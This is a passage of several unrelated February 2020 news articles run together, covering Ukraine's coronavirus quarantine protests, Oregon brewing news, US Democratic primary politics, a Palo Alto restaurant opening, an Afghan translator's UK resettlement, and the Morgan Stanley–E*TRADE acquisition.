to clashes between protesters and police. Posting a selfie on her Facebook page, Zoriana Skaletska said she would spend two weeks in a room there and would carry out her government duties by phone and Skype. Everyone inside the sanatorium was feeling well and showed no signs of infection, she said. "So, I'm finally in a room where I'll spend the next two weeks," she wrote. Skaletska decided to join those in quarantine after people in the town of Novi Sanzhary, where the sanatorium is located, clashed with police, burned tires and hurled projectiles at a convoy of buses carrying evacuees from China. Despite reassurances from the authorities, the protesters worried they could be infected by the virus and wanted the evacuees moved away. Skaletska said she was amazed by what she described as the panic and aggression towards the evacuees, and hoped her setting a personal example would change minds. Speaking to parliament, Prime Minister Oleksiy Honcharuk said misinformation about the coronavirus was being spread from within and outside Ukraine. The authorities are trying to find the source of bogus emails sent on behalf of the health ministry erroneously declaring there had been confirmed coronavirus cases in Ukraine, when so far there have been none. In another example, Honcharuk cited an incident of Russian officials asking a wagon-load of passengers travelling on a train from Kiev to Moscow to disembark after a Chinese woman with fever was found to be travelling on board. Ukraine's health ministry said the woman had not been infected with the coronavirus. Police detained 24 people in Thursday's clashes. The authorities had appealed for calm, saying the evacuees were screened to make sure they were not infected before being allowed to fly. Story continues "Our health minister has agreed to stay with the citizens in this medical institution," Honcharuk said. "This way her example will prove that there is no danger to Ukrainian citizens." President Volodymyr Zelenskiy appealed to Ukrainians not to vilify those returning from China. "We constantly say that Ukraine is ( part of) Europe," he said. "Yesterday, frankly, in some episodes it seemed that we are the Europe of the Middle Ages, unfortunately. Let's not forget that we are all people." (Writing by Matthias Williams; Editing by Ros Russell and Angus MacSwan) 6 pioneers of Oregon brewing earn Lifetime Achievement Awards Six of Oregons beer pioneers were honored this week for their contributions to the states celebrated brewing history. The six receiving the Lifetime Achievement Award included Fred Bowman of Portland Brewing, Art Larrance of Portland Brewing and Cascade Brewing, Brian and Mike McMenamin of McMenamins, and Kurt and Rob Widmer of Widmer Brothers Brewing. They were celebrated during the annual meeting and dinner of the Oregon Brewers Guild, a nonprofit that promotes the states breweries and their interests. Monday ceremony at the Crystal Ballroom was the first the guild has held. The recipients were part of a group that put the state onto its brewing path in the mid-1980s by lobbying the Legislature to change the law and allow brewing and retail at the same location. Their success set the stage for the emergence of the brewpub in Oregon. All six of the brewers honored with the Lifetime Achievement Award were active in lobbying the Oregon legislature to pass the states brewpub law in 1984, allowing beer to be made and sold on the same property, thus launching Oregons world-renowned beer scene. There are so many Oregon brewing legends deserving of the Lifetime Achievement Award, said Tony Roberts, executive director of the guild. But these six were truly foundational to the Oregon and American craft beer scene. Other award recipients during the dinner included: Best branding: Baerlic Brewing of Southeast Portland Innovator of the Year: Von Ebert Brewing of Northwest Portland Sustainability Hero: Christian Ettinger of Hopworks Urban Brewery of Southeast Portland Community Hero: Widmer Brothers Brewing Baerlic Brewing co-founder Ben Parsons speaks to a group of brewery visitors during a recent Zwickelmania.Craig Mitchelldyer/Courtesy of Oregon Brewers Guild Last Zwickelmania celebrations held Saturday across Oregon The second and last weekend of Zwickelmania kicks off Saturday, with breweries across the state opening their brewery doors to the public with tours, tastings and open houses. Last weekends Zwickelmania featured Portland breweries, but this weekend belongs to about 50 breweries statewide from Astoria to Boardman. Events run from 11 a.m. to 4 p.m. Saturday. The Oregon Brewers Guild, which sponsors Zwickelmania, provides a list of participating breweries and their events. The guild is also offering free shuttles in Bend and Eugene. The 12th annual Zwickelmania also features the release of State of Excitement 2020, a collaboration beer created by 30 breweries across Oregon for Oregon Craft Beer Month, held this year in February for the first time. Cans of the West Coast IPA will be available at breweries participating in Zwickelmania. For more details on Zwickelmania or Craft Beer Month, go to the Facebook page of the guild, which organizes the monthlong celebration. #FakeBrews IPA release party Tuesday at N. Portlands Labrewatory Its cold, its kegged, and its ready. #FakeBrews IPA, a beer collaboration between The Oregonian/OregonLive and North Portlands Labrewatory, will be released Tuesday afternoon. Head brewer Nick Herrera and beer writer Andre Meunier of The Oregonian/OregonLive created the Northwest-style IPA together. The beer is a good, old-fashioned West Coast IPA made for the Northwest palate a firm and slightly sweet malt body, a solid hop bitterness that doesnt overwhelm, with some pine, some dank and some fruit notes. Its brewed with Centennial, Simcoe and Chinook hops, with crystal, Maris Otter and Munich malts. The public is invited to come give it a try and tell us what you think. If you sign up to receive texts from Meunier, aka Oregonian Beer Guy, on all things beer in Portland and across Oregon, you will receive a commemorative #FAKEBREWS pint glass (while supplies last) at the release party while enjoying the collaboration beer. The open-to-the-public event is at 5 p.m. Tuesday, Feb. 25, at Labrewatory, 670 N. Russell St. Sign up here or "Text Beer to 503-461-5451 to get started. The new packaging of 54-40s year-round beers includes 12-ounce six-packs of Kascadia, a German-style Kolsch, Half Cocked IPA, a West Coast-style IPA, and Red Zeppelin, a dry hopped American Amber Ale.Courtesy of 54-40 Brewing 54-40 Brewing of Camas unveils retro-style, easy-drinking rebranding Camas-based 54-40 Brewing has completed a nostalgia-focused rebranding of its can labeling and website that founder Bolt Minister says reflects the comfort that folks find in drinking our beers with family and friends. 54-40, which Minister founded four years ago, makes German-style lagers and Northwest ales that the longtime Portland and Washington state brewer says are easy-drinking beers. Were extremely excited to marry those beers up with branding that fits our philosophy, said Minister, who said the redesign was a partnership with freelance designer Jordan Wilson. The two had worked together when Minister brewed at Portlands Old Town Brewing. Ministers resume also includes Rock Bottom Brewery, Walking Man Brewing and Portland Brewing, among others. Jordan has always understood the aesthetic of the beers I make, Minister said, and his insight has been huge in realizing the vision for the brand. Added Wilson: Putting the Easy back in Easy-Drinking was our call to action. Its not about a light lager, but a mindset; a place of comfort that is accessible low pressure, and fun. The use of nostalgia helps visualize that feeling. We looked through a vintage lens to help develop color palettes, type specimens, and flavors throughout every touchpoint of the brand. 54-40 also announced the hiring of Seth Swihart as lead brewer. Swiharts past breweries include Big Sky in Montana, Portland Brewing, Hair of the Dog, and most recently Ecliptic Brewing. The new packaging of 54-40s year-round beers are now available throughout the Northwest and includes 12-ounce six-packs of: Kascadia, a German-style Kolsch; 2018 Silver Medal GABF Half Cocked IPA, a West Coast-style IPA Red Zeppelin, a dry hopped American Amber Ale Upcoming seasonal packaged offerings include: 1862 Mexican-style lager River Road Pilsner Crushed Velvet IPA Jake Flynn scrapes money from the ceiling of Kells Irish Restaurant and Pub, Feb. 24, 2015, in Portland. Patrons of the pub toss money into the air and it "sticks" to the ceiling. Once a year the money is scraped and donated.Kristyna Wentz-Graff/Staff Kells Irish pub ceiling sweep nets $13,652 for Providence childrens program For the 25 year, Kells Irish Restaurant and Pub has swept its ceiling of donated bills and coins, bringing down $3,413 tossed skyward in the past year. With a match by Kells and a double match by Carr Subaru of Beaverton, the effort raised $13,652 for the Center for Medically Fragile Children, part of Providence Child Center, said Providence spokesperson Jamie Wilson. The annual green rain event is popular among patrons at the Southwest Portland pub, sister to Kells Brewery of Northwest Portland. The management holds tight to its secret of how tossed coins and bills stick to the ceiling. The event has raised more than $250,000 since 1995. Kells founders Lucille and Gerard McAleese established the Kells for Kids Fund at Providence in 2016 to support the unreimbursed costs of providing nursing care, therapy, equipment and activities for youths at the Center for Medically Fragile Children. The ceiling sweep is a prelude to the Kells St. Patrick's Festival, which will be held March 13-17. Lucky Lab A fan of barleywine? Check out the Lucky Labs festival of vintage offerings Lucky Lab Brewing the first weekend in March will be home to a celebration the Portland brewery has been throwing for two decades: Its annual Barleywine Festival. Barleywine is a one of the strongest styles of beer, with an alcohol by volume content of between 8.5 to 15 percent, a thick mouthfeel and flavors ranging from fruity to hoppy. Like wine, they often improve over years of cellaring. The Lab will throw its party at its Quimby Beerhall, 1945 N.W. Quimby St., from noon to 10 p.m. Friday and Saturday, March 6-7. More than 70 vintage barleywines will be available, with offerings from across the country. The cost is $16 and includes four tasting tickets and a collector glass, with additional tickets available for $2.25. See the events page for more details. Other events Coin Toss Brewings fourth anniversary: The Oregon City brewery will celebrate four years of brewing with a party at its brewery and taproom, 14214 Fir St., Suite H. The party will feature new beers and goodies from Two Girls Catering. Noon-10 p.m. Saturday, Feb. 29. Pelican Brewing Salmon Run: Registration is open for the third annual Pelican Brewing Salmon Run. The fun, chip-timed race features a scenic course through the Tillamook countryside and is a fund- and awareness-raiser for The Salmon Superhwy, a salmon habitat restoration initiative in Tillamook County. 10 a.m. Saturday, March 28, at Pelicans Tillamook Brewpub, 1708 1st St. Register online through 7 p.m. March 25. Zoiglhaus can release: Zoiglhaus Brewing, which won three medals this week at the Oregon Beer Awards, will hold a release party for a dry-hopped pilsner with Callista and Saphir hops in 16-ounce cans and four-packs. 7-9 p.m. Thursday, March 5, Imperial Bottle Shop, 3090 S.E. Division St. Ascendant can release: Ascendant Beer Co. is hosting a release party for its first can ever: Awesome Sauce Hazy IPA, hopped with Mozaic, Simcoe and Azacca, will be available in 19.2-ounce cans. 1-3 p.m., Saturday, March 7, Johns Marketplace, 3535 S.W. Multnomah Blvd. Portland Cider Co. 7th anniversary: Portland Cider Co. is opening up the full cidery at its Clackamas pub to celebrate seven years. More than 40 ciders will be pulled from the keg cellar, including taproom batches from the past year. 3-9 p.m., Saturday, March 7, 8925 S.E. Jannsen Road, Bldg. F, Clackamas. Cascade Brewing Sour Fruit Fest: The pioneering brewery annually celebrates its creative efforts with a Sour Fruit, featuring more than three-dozen exclusive Cascade sour fruit beers on rotation throughout the week, with at least 24 sour beers on tap each day at the Barrel House, 939 S.E. Belmont St., and 18 at The Lodge, 7424 S.W. Beaverton Hillsdale Hwy; starts 6 p.m., Thursday, Feb. 27, and continues during all open hours through March 1. Uptown Beer Co. beer and chili pairing: Uptown Beer Co. of Southwest Portland hosts is second annual beer and chili pairing competition, with eight Portland breweries facing off at Chili Con II: Wrath of Con. The breweries will bring their best chili and paired beer, with a winner announced at the end of the competition, which is a fund-raiser for Lift UP. 4-8 p.m., Saturday, Feb. 22, 6620 S.W. Scholls Ferry Road. -- Andre Meunier Subscribe to Andres text service now and get a month free, an invitation to the #FakeBrews IPA release party, and a free pint there. Also get ongoing alerts about beer releases and news from the Portland and Oregon beer scene. And check out Andres beer reviews on Untappd, where hes andremeunier13, and follow him on Instagram, where hes @oregonianbeerguy. More beer coverage: Several families residing in Munirka area of the capital were evacuated after a building started tilting in the middle of the night on Friday. The building has been sealed by the police and people living in and around it have been evacuated. However, the evacuated people are upset as they were not allowed to take their belongings from the sealed building. The affected residents also complained that officials have not contacted them about the future course of action. "We were told that this building may collapse. We evacuated the building immediately. Since 4 a.m., we are standing on roads with our children.. we do not what to do.. All our belongings are inside..." said Sangeeta, a tenant. "From the past 5 years, we are staying in this building... I stay on the top floor...We heard cracking sound and ran outside...we also alerted our neighbours about the same. Our buildings have been sealed. Everyone is out on road," said Poonam Singh, another tenant. More details in this regard are awaited. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) If volatility was a vegan patty, the Beyond Meat (BYND) offering would be selling by the truckload. Shares of the meat industry disruptor are up by 54% year-to-date. The wild ride continues last years action-packed performance; following its public listing in May, the stock surged by more than 420% to a high of $239.71 in July, before crashing all the way down to $73.6 in mid-December. The jury is still out on whether Beyond Meat really has what it takes to become a marquee name in the 2020s, as a number of questions regarding its road to long-term success still remain a moot point; Do consumers care enough about brand burgers? Are plant-based meat brands likely to become a thing? Can the new company withstand the increasing competition from other industry players? Are barriers to entry in plant-based meats more than trivial? All currently remain unanswered. Beyond Meats recovery from last years lows has been partly attributed to speculation of a possible partnership with either McDonalds or KFC. The former gave BYND a small run-out in Canada last year, with the addition of a menu item titled the P.L.T. (plant, lettuce, and tomato). The experiment has been extended upon this year; McDonalds have added the item to a further 52 restaurants, in turn fueling hopes it might make it a permanent addition to the fast food giants menu. Where the latter is concerned, a test for a Beyond Meat menu item called Beyond Fried Chicken recently expanded from a single restaurant in Atlanta to more than 60 locations in Charlotte, North Carolina, and Nashville, Tennessee. If a partnership with either materializes, theres no need to explain the impact the news will have on the price action. There are a number of reasons why Oppenheimers Rupesh Parikh looks favorably upon the Beyond Meat brand. The 5-star analyst cites the companys track record of innovation, longer-term prospects, and positioning as attractive. However, the recent gain and the companys high stock valuation -- the forward price-to-earnings ratio is 283 are currently keeping him on the sidelines. Story continues Parikh said, Going forward, we expect a volatile trade to continue driven by potentially lumpy foodservice wins & losses and prospects for an increasingly competitive backdrop. On the print specifically, we have less conviction given seemingly high expectations of a potential US McDonalds win but still very high short interest levels north of 40%. We continue to look very favorably upon BYND's longer-term prospects and would await a more attractive entry point. Accordingly, Parikh maintains a Perform rating on BYND, without suggesting a price target. (To watch Parikhs track record, click here) Bernsteins Alexia Howard takes a similar view: We continue to believe that Beyond Meats near-term sales growth potential in the U.S. is largely priced in at this point, however, there could be upside if Beyond Meat further expands its capacity and more meaningfully expands into international markets. Howard maintains a Hold rating on the stock but has bumped up her price target from $106 to $117. (To watch Elliss track record, click here) Overall, sentiment on the Street indicates a cautious approach to the meat industry disruptors prospects; All 6 analysts tracked over the last 3 months recommend BYND as a Hold. The average price target comes in at $124.2 and indicates a modest upside of 5%. (See BYND stock analysis on TipRanks) LAS VEGAS - The final question at Wednesday's candidate debate in Nevada provided a telling summary of the state of the Democratic nomination contest. It's now Bernie Sanders against the field. The question for the six candidates onstage was straightforward. Should the person who wins the most pledged delegates during the primaries, even if he or she does not have a majority, be nominated at the national convention in Milwaukee to become the party's challenger to President Donald Trump? Sanders, alone, said yes. The five other candidates said that, in that scenario, the decision of who becomes the nominee should be left to all the delegates at the convention, including the roughly 770 superdelegates - the party committee members, lawmakers and other high-ranking Democrats who can only vote if the contest goes to a second ballot. But if there is agreement that Sanders will lead the delegate race, there is similar agreement that he is not likely to be able to win a majority. If that turns out to be the case, Democrats could he headed for a chaotic national convention, one that could split the party and weaken Democrats in the general election, regardless of who ends up as the nominee. "What's clear out of [Wednesday] night is, it's hard to see what forces will stop Bernie from becoming the front-runner and just as hard to see how there will be any consolidation into a single candidate to oppose him," Robby Mook, who was Hillary Clinton's campaign manager in 2016, said Thursday morning. The dawning realization for many in the party is that what Democrats had envisioned as a jubilant national convention in Milwaukee, ground zero in a critical general election battleground, has the potential to turn into a pitched battle between multiple candidates and their supporters, each representing dueling ideological wings of the party and convinced that the other side would lose to Trump. Top campaigns have not only staffed up with delegate experts to guide them through the intricacies of the primaries, but they also have built legal teams preparing to challenge any results that don't go their way, according to interviews with 16 top party officials and strategists. And in preparation for a contested convention, some campaigns have started to reach out to superdelegates, in an attempt to secure support for a second ballot when they would come into play. "This is going to go to the convention," said Melvin Poindexter, a DNC member from Massachusetts. "It's going to be a brokered convention. I just don't see any of the candidates coming in and winning the first ballot. Particularly looking at the number of candidates who are running." If anything, Wednesday's debate provided incentive for all the candidates trying to become the alternative to Sanders to stay in the race as long as possible. Party strategists agreed that the poor performance by former New York mayor Mike Bloomberg likely eliminated any hopes that he could easily consolidate the moderate-to-center-left wing of the party in opposition to Sanders. At the same time, the fiery performance by Sen. Elizabeth Warren, D-Mass., who not only pounded Bloomberg but took on many of the others onstage, gave her the kind of encouragement she needed to see the race through to the end, despite third- and fourth-place finishes in Iowa and New Hampshire, respectively. That could affect Sanders's ability to enlarge his coalition. Warren also took steps to make herself more competitive - providing tacit approval for the super PAC that has been formed to back her candidacy, effectively contradicting her past comments criticizing groups that take unlimited contributions. And Warren's campaign announced Thursday that it has raised $7 million since last week's New Hampshire primary, setting a new goal to raise another $3 million by Saturday. The focus Wednesday night on Bloomberg, and his inability to counter the attacks, proved to be a gift to Sanders. The Vermont senator did come in for criticism, especially from former South Bend, Ind., mayor Pete Buttigieg and from Bloomberg, but overall, he avoided the kind of scrutiny and attacks normally aimed at a front-runner. Still, Sanders left open the question of just how broad his support is or can become. Some strategists saw the debate as potentially pushing Sanders into a narrower ideological corner of the Democratic electorate that could, in time, play to his disadvantage. Democratic pollster Stan Greenberg said Sanders's support has come mostly from those who identify themselves as "very liberal," a group that constitutes far less than half of the Democratic electorate. "Sanders is robustly and self-confidently the most progressive candidate," Greenberg said. "The question is, does he have voters beyond the very liberal part of the Democratic electorate?" All the candidates must get through Saturday's Nevada caucuses, in which Sanders is favored, and the South Carolina primary a week later, an event that is critical to the candidacy of former vice president Joe Biden. But the real focus now is on what follows three days after South Carolina, which is Super Tuesday and the beginning of a nationalized campaign for delegates. Sanders is seen as best positioned to do well because he has the money, organization and experience to navigate through a nationalized campaign. The arcane process that Democrats use to pick nominees puts a premium on candidates who have broad support to win statewide contests, which award a portion of the delegates, and also win individual congressional districts, which account for the rest of the delegates. The process also benefits campaigns that can pinpoint the areas where they can either win a few extra delegates - or potentially deny an opponent from doing so. Because there are no winner-take-all contests, delegates are awarded proportionally to any candidate who hits a threshold of 15 percent of the vote. In a field in which there are several candidates competing and reaching that threshold, it becomes difficult for anyone to reach a majority by the end of the primaries. But those same rules give a big advantage to the candidate who gains even a modest lead. For those running behind, making up that ground becomes more and more difficult. The Las Vegas debate was more evidence that this nominating contest is not like others, in which candidates quickly fall away after poor finishes in the early states. At almost every stage so far, events have conspired to keep the field large and fluid. That helps Sanders for now but means that the other candidates will likely seek ways to win delegates and stay in the race until the convention. "I don't see how this is not going to be a brokered convention," said Nathan Smith, a DNC member from Kentucky. "Let's be honest: It's a made-for-TV event now." Pledged delegates are supposed to vote on the first ballot for the candidate who won in their state or district. But they are freed up on the second ballot to do as they wish, and at that point, the superdelegates are also able to vote for whichever candidate they choose. "I don't think it's going to be a chair-throwing fiasco," said Grace Carrington, a committee member from Florida. "But we know there's going to be a second, maybe a third vote." Party leaders worry they could be heading toward a convention collision. "I fear divisions within the party might be our biggest problem," said Cynthia Busch, a committee member from Florida, who was a Sanders delegate in 2016 and is currently uncommitted. Wendy Davis, a committee member from Georgia, said she would urge everyone to remain positive and not fall into needless conflict. "I'm very troubled that we're setting up for a circular firing squad," she said. "I'm very concerned that it's going to keep escalating." Sheikh Rahman, a committee member in Georgia, said he has heard from the Buttigieg, Biden and Sanders campaigns recently but is making no commitments. If it comes to a contested convention, he plans to survey scores of state committee members to help him determine which candidate to support at the convention. "I'm trying to stay on the sideline at the moment and see what happens," he said. "I'm just taking the safe route." Former Virginia governor Terry McAuliffe, also a former DNC chair, predicted that any candidate who enters the convention with a large plurality would win the nomination. "If it's close," he added, "that's a different reality." Rahm Emanuel, the former mayor of Chicago, warned that the convention could descend into chaos unless steps are taken soon to assure that those in charge in Milwaukee are experts on the rules and with personalities and stature strong enough to wield a gavel effectively. "The chair of the convention is not for the fainthearted," he said. "[DNC chair Tom] Perez had better organize it, because you're going to need it. There's going to be a fight. The chairman of the party better have a war room for the convention." - - - The Washington Post's Sean Sullivan contributed to this report. When Srijith Gopinathan, best known for his Cal-Indian fare at San Franciscos Campton Place, became chef-partner of Ettan in Silicon Valley last year, he did so with fully formed menu ideas for the venture. Gopinathan wanted the place to feel casual, which meant using recipes inspired by his childhood growing up in the coastal Indian state of Kerala. It also meant working with a lower price point than what is found at his two-Michelin-starred Campton Place. A prix-fixe meal there costs $167 per person. Ettan opens today in Palo Alto at 518 Bryant St. with a la carte options at around $30 per entree. Most importantly, Ettan, which means breath in Sanskrit, is not meant to be a second a Campton Place, Gopinathan said. The project is being led by first-time restaurateur Ayesha Thapar, who lives in Atherton but spent much of her life in India. Thapar talked Gopinathan into joining the Ettan kitchen. (See the menu here.) Im not looking to do fine dining, Gopinathan told The Chronicle in December when the project was announced. As a chef, you eventually always want to go back to where you came from, to eat what you want and cook what you want. Eric Wolfinger Ettans menu has sections for small bites and snacks, including oysters served with a fennel and curry leaf ponzu, but its the dinner section that truly reflects Gopinathans message. Many of the dishes are shareable, including cod roasted in cauliflower leaves and served with mango rice. There are also playful options like Monkey Naan, which is bread rolled into balls, topped with butter and baked in cast iron pans. Eric Wolfinger Helen Diaz (Beretta; Bourbon & Branch) is coordinating the beverage side of Ettan in collaboration with fellow bar industry veteran Anthony Parks (Mourad, Whitechapel). Cocktails at Ettan reflect the flavor of the food through the use of spices like cardamom, as well as rice milk and spicy birds eye chili peppers in some drinks. Ettan will also have a wine program with about 75 selections, many of which are California and French wines. Thomas Schoos out of Los Angeles, who also created the sleek aesthetics of Morimoto in Napa and Tao Restaurant in Las Vegas, designed the Ettan look. The color scheme is indigo and white, with plants hanging below a glass dome above the dining room. Food Guide Top 25 Restaurants Where to eat in the Bay Area. Find spots near you, create a dining wishlist, and more. Ettan has 120 interior seats, another 60 outside and the whole restaurant takes up nearly 6,000 square feet of combined interior and exterior space. Isabel Baer Ettan. Tuesday to Saturday 5:30-10 p.m., Sunday 5-9 p.m. 518 Bryant St., Palo Alto. Justin Phillips is a San Francisco Chronicle staff writer. Email: jphillips@sfchronicle.com. Twitter: @JustMrPhillips Just weeks ago, Mohammad Nazir was hiding from Taliban and Islamic State fighters who had vowed to kill him for working with British troops. Now, thanks to the Daily Mail's campaign to secure sanctuary for brave translators, Mr Nazir and his family are out of harm's way in a semi-detached home in Oldham. The father of five said: 'We are safe at last. In Afghanistan this could only be a dream but now it is real.' His arrival represents yet another victory for the Mail's award-winning Betrayal of the Brave campaign, which has called on Britain to look after translators who risked their lives for our troops. The family: Arif, Hasanat, Safia, Kashif, Nazir, Asif and Waqif. Mohammad Nazir Shahamath is the second translator to be successfully brought with his family to the UK from Afghanistan all because of the Daily Mail campaign Betrayal of the Brave Mr Nazir, 34, worked with UK officials for nine years. As a result he lived in daily fear that the Taliban would hunt down and kill him, his wife Safia, 27, and his children. He is just the second translator to begin a new life in Britain under rules brought in by former defence secretary Gavin Williamson in 2018, following sustained pressure from the Mail. The newspaper highlighted the stories of dozens of interpreters and their relatives who were threatened, attacked and even executed. Mr Nazir said: 'I would like to thank the Daily Mail as I would not be here without your hard work and caring. You have never given up on translators. I thank you with all my heart. Please never give up on those still in Afghanistan.' He added: 'My two oldest boys are already going to school and picking up words of English. To know that our children can study without the fear of kidnap, bombs and bullets is a blessing an escape from the constant threat not just of the Taliban but of Islamic State. 'The threat they both pose is becoming greater, not less, and they have spies everywhere.' Mr Nazir's duties during the war included visits to camps holding Taliban prisoners. 'These people hated the translators more than the soldiers,' he said. '[They] saw our faces, they will remember them for ever and, when the time is right, have their revenge because we will always be seen as traitors... I did not even tell my own mother that I worked with the British because it would put her at risk.' It is understood that the cases of another 70 translators are being examined to see whether they can be given sanctuary in Britain. Many left behind describe it as a scandal that just two interpreters and their families have arrived in the UK in the 20 months since Mr Williamson's change of policy. They warn like Mr Nazir that threats and attacks from a resurgent Taliban and Islamic State have only increased. Previously, the resettlement scheme helped only those who worked for the British in December 2012. Mr Nazir was made redundant just a month earlier one of many who lost their jobs just before the cut-off. Mr Williamson widened the settlement scheme's criteria, claiming that this should help some 50 interpreters and their families but the Mail later revealed that just two were eligible. Defence Secretary Ben Wallace has vowed to re-examine the policy again, but so far nothing has been done. Mr Nazir had been one of the first translators stationed at Camp Bastion, the main base for UK forces in Helmand Province, in 2006. He operated from there until 2010, when he was transferred to the Foreign and Commonwealth Office team overseeing plans to rebuild the country. 'There is talk of a peace settlement with the Taliban, but that would increase the danger to those who worked for the British,' Mr Nazir said. 'They blame us for the deaths of their fighters.' He added: 'The Government has shown me great humanity by allowing my family to come to the UK. I would ask that the service of others and the dangers they face are finally recognised.' A veteran Nollywood actor and production manager, Frank Dallas, is dead. The deceased, who was fondly called the Adedibu of Actors Guild of Nigeria, died in Abia State where he was attending a summit. He reportedly died in his hotel room in Umuahia, on Wednesday. Cardiac arrest is suspected as the cause of death. Dallas, who was renowned for his action roles in Nollywood movies, began his acting career in the early 90s. He often starred alongside Jim Iyke and Hanks Anuku in movies. Some of the movies he featured in include Emotional Pains, A Night to Remember, Back II Back, Blind Love, Sweet Love and Hit The Street. Following his death, the National President of AGN, Emeka Rollas, has declared a three-day mourning and prayers in his honour. The AGN PRO, Monalisa Chinda-Coker, in a statement announced that the guilds president has also cancelled all official activities of AGN at all levels for three days. The statement partly read, With a heart full of sorrow, we announce the sudden death of the immediate past National PRO of GNU, Frank Dallas Ebulukwu. The National President of AGN, Ejezie Emeka Rollas has declared three days of national mourning and prayers across all State Chapters including FCT Abuja. In view of this, all official activities of the Guild at all levels are hereby cancelled for three days. The State Chapter Chairmen are instructed to open condolence register in his honour from Monday, 24/02/2020. Monthly meeting for February is dedicated to mourning and prayers. We shall be guided accordingly while we await further directives and burial arrangements from the family. May his gentle soul rest in peace. Popularly known as Adedibu or Killer in movie circles, Dallas who hailed from Ohafia in Abia State was the former public relations officer of the Actors Guild of Nigeria (AGN), Lagos chapter. Monalisa Chinda-Coker defeated him to emerge AGN national PRO in an election held late last year. An actor and producer, Charles Inojie, has described Dallas as an effervescent spirit. According to him, Nollywood has lost a crowd in one man P olice have charged seven people in connction with the deaths of 39 people whose bodies were found in a lorry in Essex last year. The vehicle was found at Waterglade Industrial Park in Thurrock on October 23 last year. Ambulance staff discovered all 39 Vietnamese victims dead inside the refridgerated container. The lorry victims, who included two 15-year-old boys, were mostly from two northern provinces in Vietnam, where migration was fuelled by poor job prospects, encouragement by authorities, smuggling gangs and environmental issues. Ambulance staff discovered all 39 Vietnamese victims dead inside the refridgerated container / Getty Images The seven defendents, including a Vietnamese woman living in China, were charged with creating immigration profiles for 67 people, Ha Tinh province regional police said in a statement. The profiles aimed to help find illegal work for them in Britain and Europe. Police referred to the case of 26-year-old Pham Thi Tra My, who was one of the victims. Police referred to the case of 26-year-old Pham Thi Tra My, who was one of the victims of the British truck deaths. "They contacted the victim in late June, 2019 and charged her $22,000 to create immigration profiles," the statement said. "The victim in September was then taken to China, France and the UK." Police also said in the statement that their investigation was continuing and would be expanded. They did not give details on any court appearance by those charged. British police last week detained two more people over the deaths, bringing the total to nine arrests across Europe. Morgan Stanley MS recently entered into an all-stock acquisition deal with Arlington, VA-based E*TRADE Financial ETFC, per which the former will acquire the latter for $13 billion. Post completion, Morgan Stanley will be well positioned as a leader in the Wealth Management industry across all channels and wealth segments, with significant increase in the scale and breadth of its franchise. E*TRADEs more-than 5.2-million client accounts and $360 billion of retail client assets will augment Morgan Stanleys current 3-million client relationships and $2.7 trillion of client assets. Thus, the combined entity will have client assets worth $3.1 trillion, 8.2 million retail client relationships and accounts, and 4.6 million stock-plan participants. Morgan Stanley will be able to serve clients with superior products and services catering the advisor-driven model, combined with E*TRADEs direct-to-consumer and digital processes. Therefore, Morgan Stanley will be transitioned to a more balance-sheet light business mix, with strong and diversified revenue sources. E*TRADE represents an extraordinary growth opportunity for our Wealth Management business and a leap forward in our Wealth Management strategy. The combination adds an iconic brand in the direct-to-consumer channel to our leading advisor-driven model, while also creating a premier Workplace Wealth provider for corporations and their employees. E*TRADEs products, innovation in technology, and established brand will help position Morgan Stanley as a top player across all three channels: Financial Advisory, Self-Directed, and Workplace, said James Gorman, chairman and CEO of Morgan Stanley. In addition, this continues the decade-long transition of our Firm to a more balance sheet light business mix, emphasizing more durable sources of revenue, Gorman further noted on this. However, the deal awaits certain regulatory approvals and customary approvals by shareholders of E*TRADE. The transaction is anticipated to close in the final quarter of 2020. Terms of the Deal Per terms of the deal, each common shareholder of E*TRADE will get stock equivalent to 1.0432 of Morgan Stanley shares for every E*TRADE share held. This represents per share value of $58.74 based on the closing price of Morgan Stanley common stock as on Feb 19, 2020. Strategically, the combined entity will enhance through advanced technologies, innovative products and create a competitive edge with financial stability. Remarkably, on completion of the acquisition, online brokerage and digital banking services will enhance clients experience. Mike Pizzi, CEO of E*TRADE, will join Morgan Stanley, looking after the E*TRADE business within Morgan Stanley and head the ongoing integration process. Moreover, one of E*TRADEs independent directors is likely to join Morgan Stanleys board. Financial Benefits Catering huge funding benefits to Morgan Stanley, the deal comes with around $56 billion of low-cost deposits. The acquisition move follows the banks efforts to record revenues from balance-sheet light and more lasting sources of revenues. Notably, post integration, the combined wealth and investment management businesses are likely to contribute about 57% of the banks pre-tax profits, excluding potential synergies, above the 26% recorded in 2010. Post combination, significant cost savings worth $400 million is expected with optimization of technology infrastructure and shared corporate services, along with funding synergies of $150 million from E*TRADEs around $56 billion of deposits. In addition, $7.3 trillion of combined current customer assets is likely to generate significant revenue opportunities. Per Morgan Stanley, the acquisition is likely to be accretive once fully phased-in estimated cost and funding synergies are realized. Furthermore, the banks common equity tier 1 ratio is estimated to expand by more than 30 basis points (bps) on closure and augment the banks return on tangible common equity by more than 100 bps, with fully phased-in cost and funding synergies. Apart from this, Wealth Managements pre-tax profit margin is expected to be up more than 30%. Similar Moves Recently, Franklin BEN, operating as Franklin Templeton, entered into an all-cash acquisition deal with Baltimore, MD-based Legg Mason (LM), per which the former will acquire the latter for $50.00 per share of common stock. The combined entity will operate under the name of Franklin Templeton, headquartered in San Mateo. Tennessee-based First Horizon National Corporation FHN also entered into a stock-cash acquisition deal with Lafayette, LA-based IBERIABANK Corporation (IBKC), per which the former will merge with the latter in an all-stock merger of equals. The combined entity will operate under the name of First Horizon headquartered in Memphis, TN, and maintain its operating presence in all the existing markets of both companies. Bottom Line In the current scenario, banks are moving toward consolidation to dodge the heightened costs of regulatory compliance and increased investments in technology, in a bid to be competitive. Furthermore, the current interest-rate scenario and volatile trading activities have taken a toll on banks profitability. Therefore, such moves have caused investors to become optimistic about banks future growth prospects. Notably, shares of Morgan Stanley and E*TRADE rallied 9.2% and 29.2%, respectively, over the last three months, as compared with 7.4% growth recorded by the industry. Story continues Currently, Morgan Stanley carries a Zacks Rank #2 (Buy), while E*TRADE carries a Zacks Rank #3 (Hold). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. More Stock News: This Is Bigger than the iPhone! It could become the mother of all technological revolutions. Apple sold a mere 1 billion iPhones in 10 years but a new breakthrough is expected to generate more than 27 billion devices in just 3 years, creating a $1.7 trillion market. Zacks has just released a Special Report that spotlights this fast-emerging phenomenon and 6 tickers for taking advantage of it. If you don't buy now, you may kick yourself in 2020. Click here for the 6 trades >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Franklin Resources, Inc. (BEN) : Free 